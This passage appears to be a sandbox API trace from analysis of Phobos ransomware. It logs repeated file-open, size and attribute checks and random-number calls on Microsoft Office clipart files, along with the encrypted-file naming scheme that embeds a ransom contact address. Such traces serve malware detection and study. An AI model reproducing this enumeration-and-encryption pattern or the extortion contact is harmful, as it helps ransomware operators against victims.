CloseHandle (hObject=0x588) returned 1 [0154.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02793_.wmf")) returned 0x220 [0154.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02793_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02793_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.510] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.511] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19322) returned 1 [0154.511] CloseHandle (hObject=0x588) returned 1 [0154.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02794_.wmf")) returned 0x220 [0154.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02794_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02794_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.512] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.512] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=75310) returned 1 [0154.513] CloseHandle (hObject=0x588) returned 1 [0154.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02862_.wmf")) returned 0x220 [0154.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02862_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02862_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.513] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.711] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=38522) returned 1 [0154.711] CloseHandle (hObject=0x588) returned 1 [0154.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02886_.wmf")) returned 0x220 [0154.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02886_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02886_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.712] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.712] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2012) returned 1 [0154.712] CloseHandle (hObject=0x588) returned 1 [0154.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00330_.wmf")) returned 0x220 [0154.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00330_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00330_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.714] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3954) returned 1 [0154.714] CloseHandle (hObject=0x588) returned 1 [0154.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00411_.wmf")) returned 0x220 [0154.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00411_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00411_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.714] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.715] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2514) returned 1 [0154.715] CloseHandle (hObject=0x588) returned 1 [0154.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00687_.wmf")) returned 0x220 [0154.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.716] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.716] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=566) returned 1 [0154.716] CloseHandle (hObject=0x588) returned 1 [0154.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01164_.wmf")) returned 0x220 [0154.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01164_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01164_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.718] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1642) returned 1 [0154.718] CloseHandle (hObject=0x588) returned 1 [0154.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01165_.wmf")) returned 0x220 [0154.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01165_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01165_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.718] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.719] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19970) returned 1 [0154.719] CloseHandle (hObject=0x588) returned 1 [0154.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01308_.wmf")) returned 0x220 [0154.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01308_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01308_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.720] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.721] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10090) returned 1 [0154.721] CloseHandle (hObject=0x588) returned 1 [0154.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00006_.wmf")) returned 0x220 [0154.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.722] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.723] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8844) returned 1 [0154.723] CloseHandle (hObject=0x588) returned 1 [0154.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00095_.wmf")) returned 0x220 [0154.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00095_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00095_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.723] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.724] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2556) returned 1 [0154.724] CloseHandle (hObject=0x588) returned 1 [0154.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00097_.wmf")) returned 0x220 [0154.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00097_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00097_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.725] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.726] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9660) returned 1 [0154.726] CloseHandle (hObject=0x588) returned 1 [0154.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00116_.wmf")) returned 0x220 [0154.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.726] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.727] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4660) returned 1 [0154.727] CloseHandle (hObject=0x588) returned 1 [0154.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00126_.wmf")) returned 0x220 [0154.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00126_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00126_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.728] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.728] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9052) returned 1 [0154.728] CloseHandle (hObject=0x588) returned 1 [0154.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00172_.wmf")) returned 0x220 [0154.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.729] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.730] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8514) returned 1 [0154.730] CloseHandle (hObject=0x588) returned 1 [0154.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00178_.wmf")) returned 0x220 [0154.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00178_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00178_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft 